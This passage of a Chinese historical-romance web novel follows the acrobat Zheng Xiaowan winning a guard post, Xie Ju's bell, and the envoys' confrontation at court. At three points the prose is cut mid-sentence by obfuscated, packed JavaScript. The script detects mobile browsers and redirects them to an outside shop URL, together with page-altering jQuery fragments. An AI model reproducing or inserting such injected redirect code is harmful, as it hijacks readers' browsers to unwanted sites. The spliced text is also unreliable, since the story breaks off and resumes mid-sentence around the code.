众人看去,那是个少女,身量瘦小,看起来至多十四五岁,单薄得像风一吹就会倒。怀中抱着一柄连鞘的短剑,剑鞘陈旧,磨损得露出了木头本色。 后面各人见她这副穷酸样,便一叠声的催促,讥笑声腾了起来。 少女却不理会,只是抿着干裂的嘴唇,倔强地抱着剑,拼命踮起脚尖,试图越过人墙看清高台上的情形。 魏校尉也皱起眉,扬声道:“此乃禁中遴选,闲杂人等速速退去!那女娃,你叫什么名字?是何出身?” 少女终于被人流挤到了最前面,见她身上穿着件旧布袄,鞋屡上孔洞露出两个冻得发紫的脚趾。她抬起头,仰起一张通红的脸,朝着高台的方向,大声回道:“我……我叫小丸!是从百戏班子来的!” “百戏班子?”魏校尉的眉头皱得更深,“耍杂技的?胡闹!这里不是给你卖艺讨赏的,退下!” “我会耍剑!”少女急了,将怀里的短剑举高了些,“我耍得很好!” “耍剑?”旁边一个军中的汉子哈哈大笑,“小妹妹,哥哥们耍的可是杀人的刀,你那玩意儿,是用来给人看着讨赏的吧?” 少女的脸涨得通红,手将剑攥得紧紧地,不与那汉子争辩,只一双眼睛死死地盯着高台的方向,又急急重复:“我会耍剑!让我试试!” “你这身板,风一吹就倒了,还谈什么武艺?”校尉被她顶撞,也来了火气,“赶紧走,别在这儿耽误工夫!” 说着,便要伸手去推她。 少女身子如泥鳅般一弯,竟让校尉抓了个空。她抱着剑退后两步,涨着脸道:“我叫小丸,姓郑。今年十七。我们班主上个月死了,戏班散了。我听说殿下这里招女卫,管吃管住,还发钱粮。我只会使剑,所以就来了。” “耍剑丸的,喷火吞剑的把戏,”旁边有识得的嗤笑道:“还姓郑呢,谁不知道那是你们戏班子的姓,你个捡来的孤儿,有什么姓?” “我就是姓郑!”小丸又抢道,不曾管他,“榜都贴到瓦舍啦,人家说只选会武艺者,没说不许百戏人来。” 校尉被她这股倔劲儿弄得有些下不来台,正要发作,却听帷幕后传来一声咳嗽。 他心中一凛,连忙躬身肃立。 盛尧隔着帷幕对他喊道:“魏尉,军中选拔,常比试些什么?” “回殿下,”魏校尉恭敬答道,“无外乎膂力、骑射、步战三项。依末将之见,当先比膂力,举石锁,连举三次三百斤者为上选。” 这话说得中规中矩,无懈可击,盛尧正琢磨使个什么理由好些,却听侧近传来一声轻笑。 谢四公子站直了身,抱着手炉,平静地走到帷幕边上,掀开一角,露出了那张足以令冰雪失色的脸。 “阿摇,”谢琚眯起漂亮的眼睛,目光扫过场中众人,轻浅地道,“这些玩意……我不喜欢。” 魏都尉不敢接话。谁都知道这位四公子神智不清,却又是丞相爱子、殿下近臣,得罪不起,只得应道:“公子说的是,是末将等操持不周。” “嗯,”谢琚点点头,似乎对他的恭顺很满意,“举鼎、角力,没什么趣味,不好看。” 他说着,忽然抬起手,指向演武场边上一座高高的角楼。那角楼飞檐翘角,最顶端的风角上,悬着一枚小小的铜铃,是用来警示飞鸟的。经年风吹雨打,铜铃已生了绿锈,在风雪中微微摇晃。 “我要那个,”这谢四公子冷静地道,“谁能把它摘下来,谁就最厉害。” 此言一出,满场哗然。那角楼足有三丈多高,檐角更是向外伸出数尺,壁滑无依,别说上人,便是猿猴也难以攀援。这算什么考校?分明是痴人说梦! 魏都尉面露难色:“公子,这……这恐非人力可及啊。” “哦。”谢琚点点头,却仍旧笑吟吟地道,“可我就想要那个。阿摇,你说好不好?” 豁!这不巧了么这不是。 “既然四公子这样说了。”盛尧重重一昂头,“我也想看。” 众人觉得这小皇太女少年心性,不以为然,只谢琚朝她粲然一笑,温和地低下头,盛尧向场中喊道:“能取下铜铃者,不论男女,皆为都尉。” 都尉! 此言一出,场中顿时骚动起来。这可是正经的武官职位,一步登天!方才还满脸不屑的众人,此刻都仰头望着那枚小小的铜铃,摩拳擦掌,跃跃欲试。 立时便有一名军汉出列,取下背上长弓,搭箭上弦。 嗖—— 羽箭破空,带着风声直奔檐角。众人皆引颈而望,只见那箭矢堪堪擦过铜铃,带起一串清亮的“叮铃”声,却终究偏了分毫,钉上梁木。 “好箭法!”场下有人喝彩,却更显得艰难。 军汉不甘心,连发三箭,皆是如此。风雪之中,目标太小,绳线又随风摇摆,实在难以命中。他只得悻悻然退下。 “有武艺!”盛尧仍旧拍手,使个眼色,魏都尉便将手上符信与他,道,“什长!” 众人精神大振,接续又有几人尝试,或用飞爪,或试图叠罗汉,皆以失败告终。 场面一时冷了下来,人人议论纷纷,都说这根本是天方夜谭。 就在众人以为此事将不了了之时,那个抱着旧剑的少女,郑小丸,从人堆里头一步步地捱了出来。 她走到角楼之下,仰头看了许久,眼睛乌亮。 “小丫头,别白费力气了,神射手都来不得,你还能飞上去不成?”有人笑道。 小丸却充耳不闻。她将背上另外两柄一模一样的短剑解下,与怀中之剑并排置于雪地。三柄剑,剑身在风雪中泛着清冷的微光。 众目睽睽之下,她将身子微微沉俯,手从三支短剑上一拂,手腕一抖,第一柄短剑脱手而出,化作一道寒光。 铮! 一声清响,短剑入木三分,稳稳地钉进离地丈许的梁柱。 盛尧猛地探出身,身旁的谢琚也掩着下颌,“唔”了一声。 满场皆惊,还未等众人反应过来,小丸已似一只轻燕,脚下发力,顺着墙壁疾冲数步,身子拔地而起,翩如羽雀,足尖挑上那支短剑的剑柄。 将双足一缠,便立于剑柄之上,身形微晃。 “好!”众人不由自主地喝彩。 小丸毫不停留,借着立足之势,反手又是一剑掷出。第二柄剑斜刺而去,铿地一声,钉在了更高处的飞檐之下。 她脚在第一柄剑的剑柄上轻轻一点,整个人鹞子赴水般凌空翻上,手指已扣住了第二柄剑的剑柄。 此时,她离那檐角的铜铃,已不过数尺之遥,但再无借力之处,下方是坚硬的石板,摔下去便是粉身碎骨。 所有人都屏住了呼吸,连风声似乎都静了。 只见悬在半空的小丸深吸口气,将最后一柄短剑衔在口中,空出的手在墙壁上一撑,身子从空中一荡,居然朝着那探出的檐角扑了过去! “啊!”人群见她失足,齐声惊呼,有人闭上眼睛。 眼看她身形就要下坠,那千钧一发之际,小丸将头一甩,口中短剑飞出,不偏不倚,恰好卡在了檐角瓦片的缝隙里头。 身在半空,无处着力,如何再上? 她下坠之势已成,就在这电光石火之间,却伸出双指,在那剑身上一点。 “唉哟!”场中响起一片倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我在忙。”盛尧头也不抬。 “可是我饿了。”谢琚平静地倾过身。 盛尧放下手中的竹简,捏捏眉心。 “今天又想吃什么?” 谢琚点点头,凑到她耳边,真诚地与她恳请:“想喝鱼汤。要新捕的鲫鱼,三钱姜,一撮葱,文火慢炖一个时辰,汤要熬成乳白色。” 盛尧:“……” 一条鱼,偏要吃鱼。 除了吃饭,谢琚最爱做的,便是打扰她。 盛尧将那些“祥瑞”奏章,分门别类地按照舆图划上地点,一一记着。每到这时,谢琚便会抱着他的手炉,悄无声息地溜进来。 他也不闹,只是寻个最碍事的地方待着。 谢四公子整个人趴上她的书案案角,将脸枕上摊开的竹简,长长的睫毛垂下,呼吸均匀,睡得香甜。 盛尧起初还会将他推开,后来发现根本没用。这人像没有骨头似的,推开了,过一会儿又会黏上来。 几次三番,她也多少习惯。批阅文书时,只得小心翼翼地绕开这个大型的、会呼吸的、显得暖和的摆件。 有时她也疑惑,这家伙,到底是真傻还是假傻? 而那枚遴选用的铜铃,最终被谢琚用一根红绳穿着,系在了腕上。走路时,手腕微动,便会发出一串清脆又细微的“叮铃”声。 起初盛尧觉得有些吵,后来却渐渐听得顺了。 这铃声,成了他在别苑里的独特标记。 叮铃,叮铃。 像只被系了铃铛的猫儿,无论走到哪里,都宣告着自己的存在。让她总能第一时间知道,那条危险又美丽的鱼,又游到哪里去了。 这日,盛尧正和郑小丸坐在演武场边上,看着卫士们演练新学的剑阵,老黄门令就脚步匆匆地赶了过来,脸上是许久未见的惶急之色。 “殿下,”他躬着身,声音压得极低,“宫外传来消息,有诸侯派了使者,不日即将抵达都中。” “使者?”盛尧一个激灵,“发兵了吗?” 8. 叮铃 老黄门令摇头,盛尧焦躁起来,是没有,还是不知道? “只知道来的不止一家。名目上是为大行皇帝吊唁,实则……” 是来探听虚实,甚至是来问罪的。 皇太女的身份昭告天下已有数日,那些手握重兵、各怀鬼胎的诸侯们,也该派人来探探虚实,只是居然使者比檄文到得更快,或许,使者是把檄文直接揣在袖子带来的么? 郑小丸奇道:“是哪家诸侯?” “郑都尉这斗大的字认不了一筐,还晓得什么诸侯?” 新选的卫士多是低微出身,不是真正的良家子,没什么官场规矩,说话也带着江湖气,周围几个相熟的都笑了起来。 郑小丸脸一红,梗着脖子反驳:“我哪里不知道了!北边的大将军,西边的繁昌王,不都是么!” 盛尧就问老黄门令:“晓得是哪几家么?” “宫中消息闭塞。但按路程算,恐怕岱州的使者会最先到。” 岱州。那是天下最富庶的地方,郡守田昉是个八面玲珑的老东西。 “是了。繁昌路远,山脉阻隔,其使者当是最后到的。” “哎哟我的殿下!”蹲在沙地上擦刀的络腮胡卫士笑出声,被同伴肘了一下,憋得肩膀直抖。 盛尧转头,郑小丸已抢步上前揪住那人耳朵:“赵老三!敢在殿下面前失仪!” “疼疼疼!”赵老三龇牙咧嘴地求饶,“实在是——小殿下说繁昌郡是山峦,可把俺们憋坏了!” “啊?”盛尧呆住,“有何可笑?我见舆图,繁昌郡一带都用赭石绘制,赭石为山脉,石青为丛林,难道不是么?” “那可不是山,”郑小丸将手上双剑一掷,凶狠地把盛尧和众人隔开,人人都瞅着她笑,“那是一大片谷地,两边是高坡,中间凹下去老大一块。咱们戏班子去过,日头都比别处低一些,走在里头跟走在个大坑里似的,麦子比别处熟得都快。” 赵老三果然也就憋不住话:“那地方是真真正正的大谷地。俺走镖那会儿,夏天最怕的就是过繁昌。人家说,繁昌的日头不是挂在天上的,是戳在土里的。从沟底看,就像长在土坡上。等你好不容易爬上去,它又滚到另一条沟里去了。” “官家图上画的大约是正经山道,咱们正经人谁走那正经道啊?谷地里有条暗河,叫‘瓮儿口’,水路通着大江。坐上快船,顺流而下,三天就能到都城郊外!比走官道快了不止十天!” “三天?!” “三天够了!那地方的山林,还不抵南边多!” 盛尧大惊。 “可……可南边的云梦郡,多湖泊……想必地势平缓。”她有些拿不准。 “是多湖泊,”另一个女卫士接话,言语带着点软糯的口音,“但我们那儿有句老话,叫‘见湖必见山’。湖哪有白生的,都是山坳坳里头存下的水。咱们湖越多,山就越多,林子也密,蛇虫遍地,比繁昌那坑里难走多啦。” 这可怎么好意思。作为这沙地上读书最多的人,盛尧感觉自己脸红了。 “那也不是。云梦侯不喜欢中原人,但也不问事儿。才不叫难走呢,”郑小丸不以为然,“你是没见过岱州的关卡路禁,那才叫要命。一道关卡一道钱,从东边走到中都,老鼠过了都得掉一层皮。咱们戏班子宁可绕远路走南边,也不乐意从那儿过。” “王八!”赵老三恨恨地骂一句,“岱州那田昉就是个老王八!” 这一骂,周围的卫士们都哄笑起来。 “可不是!路上的闲汉都晓得,就四只畜生!北方猛虎,西川恶龙。东海老鼋,南山野雉!” 众人你一言我一语,笑得前仰后合。盛尧与他们一齐坐在场边架上,捧着下巴低着头,却一点也笑不出来。 在她眼中,是翼州大将军,是繁昌王,是岱州牧,是云梦侯。个个割据一方。 可在百姓黔首眼中,他们大约只是猛虎,是恶龙,是老鼋。 谁坐在天下,谁来当这个皇帝,于他们而言或许真的不重要。不过是换了一只盘踞在头顶的猛兽罢了。今日是姓盛的,明日或许姓谢,后日又可能姓高。 心里好像怪怪的难受。 众人笑声渐歇,也察觉到了她的沉默。方才还热闹的演武场,一下子安静下来。 赵老三手足无措,郑小丸横了他一眼。 “殿下,”她走到盛尧身边,“他们都是粗人,胡说八道的,您别往心里去。” 盛尧赶紧平复下来,刚要说些得体的话,一阵细微的叮铃声轻飘飘地荡过来,吹进她耳朵里。 不必回头,便知是谁来了。那枚被他系在腕上的铜铃,如今倒成了最有效的预警。让她每次都能提前收敛好心神,免得被他那神出鬼没的身影吓到。 果然,一只修长温暖的手从旁伸出,轻轻拽住了她的衣袖。 “阿摇。”肩上忽然沉重,宛如陷入了一朵巨大盛开的桃花,又像趴上了一团柔软的云。谢琚将下巴放在她的颈侧,半个身子的重量都压了过来,“操练有什么好看的,又吵,又不好闻。” 盛尧侧过头,只能看见他凑过来的半张脸,带着熏笼的暖风,混着一点香草味,在冬日的空气里浮泛。 “我在想事情,”她甩一甩,试图将袖子抽回来,“你先回去。” “不,”他左右睨了一眼,将她拽得更紧,“我饿了。晚膳的时辰早就过了。” 众人都知晓这位谢中庶子与皇太女的谶纬缘由,谁也不敢多瞧几眼,郑小丸赶快一一打发,一时四下散去。 盛尧与众人一番相谈,此时蔫得不行,自己却也无可奈何。 当然,谢四公子比她更无可奈何些。也在沉吟……和天下大势差不多的东西。 比如,自己的筹算到底哪里出了差处。 上次那招诱敌,确实有用,但太过曲折。饿了两天半,是毕生之耻。谢琚终于明白,指望这只兔子主动想起巢里还有条鱼,是根本不可能的。她忙起来,能把自己都忘了。 此等失算,绝不能再犯第二次。谢相府最聪慧的四公子,谋定而后动。饿得头晕眼花时便已痛定思痛,深刻反省。 结论是,对付这种心思单纯、脑子迟钝的兔子,绝对不能使用任何需要她“领悟”的计策。必须是最简单、最粗暴、最直接的方式。 譬如吃饭。 她总不能不吃饭吧? 他不可能再让盛尧错过自己的一顿饭。 每日每餐,他都准时出现在盛尧的寝殿。起初还找些“饿了”、“想吃鱼汤”之类的借口。后来,索性连借口都懒得找,时间一到,便抱着手炉,往她书案边上一坐,安安静静地等着。 效果是显著的,他再也没被忘记过。 但新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692704|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问题又来了。 他贴得太紧,这只兔子被惊着了。 当他靠近时,盛尧会匆匆将手边的舆图或文书盖上;见些侍从时,也会刻意避开。她看他的眼神里,虽然依旧有着对“傻子”的包容,却添了点儿戒备。 警惕多于同情,防备胜过亲近。竖起了浑身的软毛。 这可不成。力分者弱,心疑者背。一个时时刻刻提防着你的盟友,比一个奸诈的敌人更麻烦。她要是总这么紧张,迟早得被那些老狐狸看出破绽,到时候大家一起完蛋。 于是,在又一个被挡在门外、听着里面压低声音说话的夜晚,谢四公子捏着那枚得来的铜铃,筹谋了一个堪称绝妙,也堪称自取其辱的计策。 兵法有云,备周则意怠,常见则不疑。必有应而后至,必有见而后成。 ——示之以不能,使敌不我备也。 因此给自己系上了铃铛。 叮铃,叮铃。 盛尧只要一听到这声音,便知道是那条漂亮的鱼游过来了。她便有足够的时间收起重要的文书,整理好纷乱的思绪,做好心理准备,迎接这位不请自来的“中庶子”。 自从他戴上这铃铛,盛尧果然不再被他吓到。她远远听到铃声,便会习以为常地抬起头,有时甚至会主动朝他招手。那眼神里的警惕,渐渐换成一种“啊,我家的傻鱼又来了”的心照不宣。 每次最多只是无奈地轻叹一口气,默认他的靠近,默认他像个大号首饰一样挂在自己身边。 果然放低了戒心。 可谢琚自己,却将将要被气死。 天下称名的谢家四郎,神乎智计,善遣人心,如今为了哄一个黄毛丫头,竟然要学那猫儿狗儿,给自己系上铃铛! 因此这铃铛每响一声,心里头都在滴血,宛如他为自己那遥不可及的安逸生活,敲响的丧钟。 但眼下也顾不得这些。 使者将至,一场大风暴即将来临。他必须确保这只兔子一样的小皇太女,不会先被撕成碎片。 毕竟,她要是死了,他这个“皇后”,怕不是也只有陪葬的份。 “阿摇,”他轻声问,携着斟酌完备的困惑,“你们在玩什么?为什么那个人跑得那么快?” 指的是方才匆匆离去的老黄门令。 盛尧叹了口气,摇摇头:“没什么。” “哦。”谢琚点点头,目光转向一旁的郑小丸,又看看边上操练的卫士,“她们也是来陪你玩的吗?” 盛尧还没答话,郑小丸抱拳行礼:“见过四公子。” 谢琚像是没听见,只是在她肩上蹭一蹭,重复道:“阿摇,很饿。” 盛尧叹口气,“好啦,”她说,“跟我来吧,正好我也饿了。” 谢琚眼睛瞬间亮起来,牵起她的手。 兔子终究是兔子。但凡萝卜给得对,总会妥协的。也就是,他这根“萝卜”,当得实在窝火。 青年侧过头,看看盛尧:“阿摇不开心吗?是因为有客人要来吗?” 盛尧心不在焉:“大约是……不太好相与的客人。” “那,”谢四公子倾过头,附上她的耳际,呼吸温暖,平稳而安宁,“要把他们,都杀掉吗?” 叮铃。 腕间的铜铃,随着他这句话,轻轻响了一声。 在寂静的雪中,显得十分刺耳。 9. 白马撞殿,风雪献梅 盛尧弹跳跃起,赶快捂住他的嘴。 “嘘!”她急急地道,紧张地四下张望,幸好卫士们都在远处操练,无人听见这句石破天惊的疯话。 青年的唇被她温热的手心覆盖,只露出一双无辜又清澈的眼睛,长长的睫毛动了一动,似乎不明白她为何如此惊慌。 “你在说什么呢,”盛尧松开手,小声斥道,“怎么可能全都杀掉!” 简直要被这条鱼的胆大包天给吓死了。杀掉诸侯使者?这是想直接点燃天下战火吗?亏他说得如此云淡风轻,好似在问晚膳要不要多加一碟小菜。 果然傻子是这样的,脑子里全然没有危险。在他那混沌的世界里,大约不喜欢的人,讨厌的事,都可以像掸去尘土一般,轻易地“杀掉”了事。 看着谢琚那张安静又美丽的脸,心里的惊惧慢慢落作了一点无奈的怜悯。 仔细想来,他之所以能说出这种话,大约是因为在他心里,自己这位“皇太女”是真的无所不能。 “鲫鱼,”她将语气放缓些,“使者是客人,我们不能杀客人。杀了他们,他们的主人会更生气,会带着好多好多兵来打我们,到时候,我们就没有安稳日子过了,你晓得吗?” 谢琚垂下眼,显得很是有些难过,半晌,才温顺地点了点头,又将头靠回她的肩,轻声和她语道:“可是他们会欺负阿摇的。” “我不喜欢别人欺负你。” “我自有办法。”盛尧拍拍他的背,心又提了起来。 谢四公子却将心放了下去。 成了。 当然不能杀使者。谢琚打心底里松了口气。 这只兔子,刚刚拥有了自己的第一副爪牙——郑小丸和那四百内卫。对于一个被幽禁了十年,从未掌握过任何力量的人来说,这新生的权力,新就的主君,就如同一杯烈酒,极易摇动。 万一她被即将到来的使者一激,头脑发热,错估了自己这点微末的力量,真动了什么蠢念头,想要来个“殿前斥使”,甚至“阵前斩使”,逞一时之快,却将自己推入万劫不复的境地。 必须先一步,将最坏、最疯狂、最不可能的那条路,用一种最荒唐的方式,摆在她的面前。 就好似飙风暴雨之中,有人想开窗户,便当先提议“我们把房顶拆了罢”。如此一来,迫得对方思及恶劣之处,大惊失色,连连摆手,觉得拆房顶万万不可,那么开窗户的事情,就自然更作考虑了。 当先楔下一条钉,画下一条线,如此一来,她便会老老实实地,被逼着去走那条最稳妥、最艰难,也最需要动脑子的路。 将欲废之,必固兴之。将欲取之,必固予之。 所谓权变,是君子行权之道,反经而合义,度时而立功。 谢四公子将自己挂在她的身上,觉出十分浓重的悲哀。 名满都中的美玉琼琚,算无遗策,如今用这种反诈驭心之术,去震慑一个兔子似的黄毛丫头,为的只是大家能多活几天。 而且,真的好饿。 为了保命,真是连脸都不要了。 * 诸侯遣使将至的消息,在几日之中迅速传开。出人意外,最先有了传闻的,并非那头最凶的北方猛虎,也不是那条自诩真龙的西川恶龙。 先到的是东海老鼋的使者,岱州牧田昉的长史,冯温。紧随其后的,才是繁昌王盛衍的别驾魏敞。 至于兵锋最盛的翼州高昂,则毫无动静,仿佛北境的风雪将一切消息都轻轻掩过。这种沉默,比任何叫嚣都更令人不安。 使者抵达都中的前一夜,又下了一场大雪。鹅毛般的雪片无声无息地覆盖了整座宫城,将飞檐斗拱都裹上一层厚厚的素白,天地间一片肃杀。 别苑里的操练声停了,内卫们被分派到各处要隘,与禁军一同,换过了不少宫城的守备。空气里弥漫着一种无形的紧张,连风声都似乎比往日更紧了些。 毕竟盛尧未曾登极,因此接见使者的地点,设在一处称为嘉德殿的偏殿。 觐见之日,雪已消沉。天色阴得可怕,铅灰色的云层低低地压着宫城,仿佛随时都会坍塌下来。寒风在殿宇间穿行,呼啸着卷起地上的残雪,又接连掼上宫门。 盛尧天不亮便被宫人叫起,穿上了那身玄底赤边的皇太女礼服。衣袍繁重,虽然细心烘烤得暖了,玉冠却又冷又硌,沉甸甸地压在头顶。她坐在铜镜前,看着镜中那个面色苍白、嘴唇紧抿的少女,恍惚间,又回到了太庙冠礼那一日。 她被内侍引着,一步步踏上嘉德殿的丹陛。殿内空旷幽深,光线透入,白日里仍显得昏蒙,因此挑起多少火烛,照上冰冷的地面。 公卿按次立起,却远不似正殿大朝时那般黑压压一片,只是依旧鸦雀无声。 而谢巡,身着紫袍,腰佩玉带,先立于下首之侧。他看见盛尧,只微微颔首,目光沉静。 盛尧走到上首座旁,没有坐下,而是选择了侧旁稍低一些的坐榻。这是她自己决定的,既显谦卑,也表明自己储君的身份,而非僭越的天子。 她坐定,众人拜毕,拢在袖中的手心里,已全是冷汗。 谒者唱名道:“宣,繁昌王使者魏敞,岱州牧使者冯温,入殿觐见——” 两名使者已早到殿门阶前,躬身行礼,解下腰间佩剑,交由殿前郎官,虽不似正殿脱履,却也法度严谨。 一人年过半百,身形微胖,穿着岱州郡的官服,是田昉的使者。他一路目不斜视,中规中矩,不发一言。 另一人则年轻许多,约莫三十许,面容俊朗,眉宇间透着傲气。此人乃是繁昌王盛衍的幕僚,魏敞。目光扫过盛尧时,居然稍显轻蔑。 唱名既罢,两人趋至殿中,冯温规规矩矩地向上首揖礼参见,口称“殿下”,却省去了“皇太女”三字。 而魏敞则对着丞相谢巡深深一揖,朗声道:“外臣魏敞,拜见丞相。”对座上的盛尧,竟只是微一拱手,道一声,“见过殿下。” 似此,尊丞相而慢储君,群臣之中,引起一阵骚动。 未等盛尧开口,谢巡便缓缓道:“二位使君远来辛苦。不知繁昌王与田使君,有何训示?” 他用的是“训示”二字,高高抬起,语气却平淡,自有迫人的威势。 那岱州来的冯温呵呵一笑,团团一揖:“丞相言重。我家主公听闻先帝宾天,悲痛万分。又闻都中有变,特遣老臣前来,一为致哀,二为问安。主公常言,丞相乃国之柱石,有丞相在,我大成便安如泰山。” 既表达了哀思,又捧了谢巡,却对盛尧的身份避而不谈,俨然一副置身事外的模样。 盛尧点点头,不愧是东海老鼋,滑不留手。 所有人的目光,都看向了繁昌王别驾,魏敞。 只见此人不卑不亢,当中一揖,朗声道:“繁昌王乃烈祖嫡脉,孝悌仁闻,天下共知。听说近日宫中变故,日夜忧思,唯恐先帝血脉断绝。今闻殿下以公主之身,暂代监国,我王既感欣慰,又存忧虑。” 他说公主监国,只字不提储位,阶下便有臣子相互对视一眼,各各觉出不好。 果然魏敞稍作停待,忽然冷冷一笑,突地拔高声音,向盛尧拜道:“自古阴阳有序,男女有别。殿下量凤仪之尊,何苦就于东宫之位?此举,恐非先帝之意,亦非祖宗之法。” 他向群臣左右四顾,朗声续道:“王公以为,当务之急,应尽快从宗室之中,择一贤德子弟,入继大统,以安天下臣民之心。如此殿下便可退居后宫,享公主之优荣,两利俱便,天下生民,幸何如哉!” 此一番话,无异于当着满朝公卿的面,公然否定了盛尧的身份,并直指谢巡有拥立女主、扰乱朝纲之心。 当场发难。这魏敞,怕是早已奉得有去无回之坚志,殿内人人面色更变。 盛尧的手在袖中紧紧攥着,晓得自己不当开口。身为储君,即代天子,如何能亲自与小臣逞舌辩?此刻她一开口,便落了下乘。这固然是她与谢巡的博弈,但更重要的,是谢巡与天下诸侯的博弈。 因此她做出冷静无谓的样子,只是看向谢丞相。 果然,谢巡脸上神色淡漠,微微倾身,道:“先太子与殿下,乃龙凤双生,天降瑞祥。太子应劫,气运归凤,此乃天意。别驾远在西川,不知这都中谶纬,倒也情有可原。” 盛尧微微点头。 “天意?”魏敞冷笑一声,仰头道,“天意民心,岂是几句谶纬之言可以断定?谢相以一女子为储,置祖宗法度于何地?置天下纲常于何地?” 他步步紧逼,转而看向谢巡,在这百官面前,手中笏板微微一抬,进而道: “谢相早执宰衡,海内皆知。以令公子之事,行此谶纬之举,也算得上天下奇闻。欲挟女君,家中又有奇子,谢相的心思,实令天下人费解啊!” 语含讽刺,话锋一转,竟是引到了女君谶纬的源头,谢琚身上。 这便是直叩根本了。盛尧心头一跳。 魏敞却不管她,只是朝谢巡长揖及地,脸上冷笑,口中却高声道: “既然丞相为成此‘阴阳合德’之千古奇谈,欲以公子为……中宫。敞虽僻处西陋,亦久闻谢四公子才名,玉秀泉澄,如川如陵。高谈则龙腾豹变,下笔则烟飞雾凝。此等麒麟之才,缘何久居府中,不为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692705|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国效力?” 谢巡稍为沉吟,魏敞将怀中笏板双手一捧,厉声道,“莫非,是谢相有意藏私么?今日有幸,魏敞不才,斗胆请四公子出面一见,也好让我等边鄙之远臣,一识都中名士之风采!” 此言乍出,满殿死寂。旁边岱州的冯温撇着眼睛,觑他一觑,笼起手,仍旧沉默,不置一辞。 不可谓不恶毒狠辣。 所有人都知道谢琚疯了,立志当皇后是天下第一的笑话。魏敞此刻偏偏要提他昔日的才名,再要见他本人,就是要当着满朝公卿的面,逼着他将自己那个一心想当皇后的傻儿子拉出来示众。 揭开谢家这桩最大的丑事,盘盘破开这谶纬的基石,狠狠地羞辱谢巡,也让盛尧这个“皇太女”的处境变得更加荒唐可笑。 盛尧的脸瞬间白了,她看向谢巡,只见老者面沉如水,眼神阴鸷得仿佛要滴出冰来。 殿内陷入了一片死寂。所有人都明白,这是一个死局。 若不召,便是心虚,等同于承认了谶纬之说是谎言。 若召来,真是个疯子痴儿,在殿上胡言乱语,多么难堪?只会成为更大的笑柄,让谢氏和新立的皇太女威严扫地。万一……倘或不疯,那么谢氏诛心窃国,觊觎神器之图谋,也必昭告天下。 这魏敞,果然是繁昌王帐中第一策士,辩才绝伦,左右通谋,一时俱陷。 满朝公卿面面相觑,殿中群臣,多有谢氏幕僚,人人沉吟,个个束手,此时竟也不知如何应答。左思右想,唯有尽力搪塞为是,但却又失了威仪。谢巡脸色沉沉,殿内静得能听见寒风敲打窗棂的微响。所有人都将目光汇聚向这位权相,等着他如何对付。 就在这难堪的寂静之中,谢巡即将开口的瞬间—— 忽然,殿外传来一阵异响。 音声清脆,由远及近,初时还以为是错觉,可那声音越来越清晰,越来越急促,竟是直奔着嘉德殿而来? “什么声音?”有公卿惊疑不定地回头。 不是脚步声,那声音震动有力,带着一种韵律,越来越响。 是马蹄声! 众人皆惊,纷纷侧目。此嘉德殿虽是偏殿,不若正殿那般森严,但也曾是天子议政之所,百步之内皆禁车马,何来的马蹄声,如此放肆,直冲殿门而来? 殿外,殿前卫尉张大了嘴,他认得那匹马,乃是谢府一匹名驹。因此手按在刀柄上,却无论如何也拔不出来。 拦,是得罪权倾朝野的谢相;不拦,是失职之罪。 就在这片刻的犹豫中,那人已纵马掠过,穿过卫士郎官,转眼之间,蹄声急至近前,未有丝毫停歇。 轰隆! 灰尘顿起,人人掩面,嘉德殿厚重的朱漆大门,居然被从外面生生撞开。 空气骤然一冷。 刹那间,夹杂着雪沫的寒风倒灌而入,殿内烛火摇曳,众人衣袍被吹得飒飒有声,骇然起身后退,殿中乱作一团。 一匹神骏非凡的白马,通体雪练,鬃毛飞扬,连人带马,卷着风雪,一齐冲撞进来。 这下变起突然,殿内一时竟无人上前阻当。那魏敞离门最近,被冲得一个趔趄,摔倒在地。 马上之人身着茜色长袍,外罩的白裘于疾驰中散开,半垂在鞍侧。束发的银冠撞得掩乱,几缕发丝,被闯入的狂风吹得飘摇飞举。 风雪袭面,反倒衬得他眉目如画,唇色殷红,仿佛不是朝向人间宫阙,而是从一卷神仙图画中挣脱,振起不属尘世的清寒。 “护驾!”内侍尖叫。 哪里待他呼唤?殿前武士皆是精锐,马入殿时一片铿锵之声,无数刀剑已然出鞘,明晃晃地将那一人一马包围。 只是领头的郎官认出马与来人,手臂微抬,止住左右,看向谢巡,脸上尽是惊疑与为难。 青年勒住缰绳,白马人立而起,厉声长嘶,马蹄踏上砖石,沓地一响,将满殿的混乱都压了下去。 所有人都被眼前这番景象惊得目瞪口呆。 谢琚看也未看摔倒在地的魏敞,更不理会周围乱作一团的公卿与武士。只是穿过重重人群,越过森森刀剑,径直地望向盛尧。 叮铃。 腕间的铜铃,在这混乱后的寂静中,发出一声清越的微鸣。 他扬起手,众人看去,见他手里攀着一支梅花,朝着丹陛之上,远远递了过来。 “阿摇,” 谢四公子扬起头,莹然一笑。声音安润温和,仿佛这满殿的刀光剑影、权谋机心,都不过是寻花路上的点缀,“这里风雪太大,梅花都快被吹坏了。” 